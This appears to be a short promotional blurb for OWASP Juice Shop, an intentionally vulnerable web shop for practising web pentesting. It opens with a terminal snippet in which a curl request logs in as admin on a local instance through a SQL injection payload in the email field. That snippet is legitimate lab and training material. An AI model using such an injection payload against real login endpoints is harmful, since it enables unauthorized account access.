$ curl -s localhost:3000/rest/user/login \
-H 'Content-Type: application/json' \
-d "{\"email\":\"' OR 1=1--\",\"password\":\"x\"}"
umail [email protected]
token eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...
info: Solved 2-star loginAdminChallenge
Web pentest
A shop that wants to be robbed
OWASP Juice Shop has over a hundred scored challenges: injection, broken access control, XSS and more. Solve one and its score board ticks it off.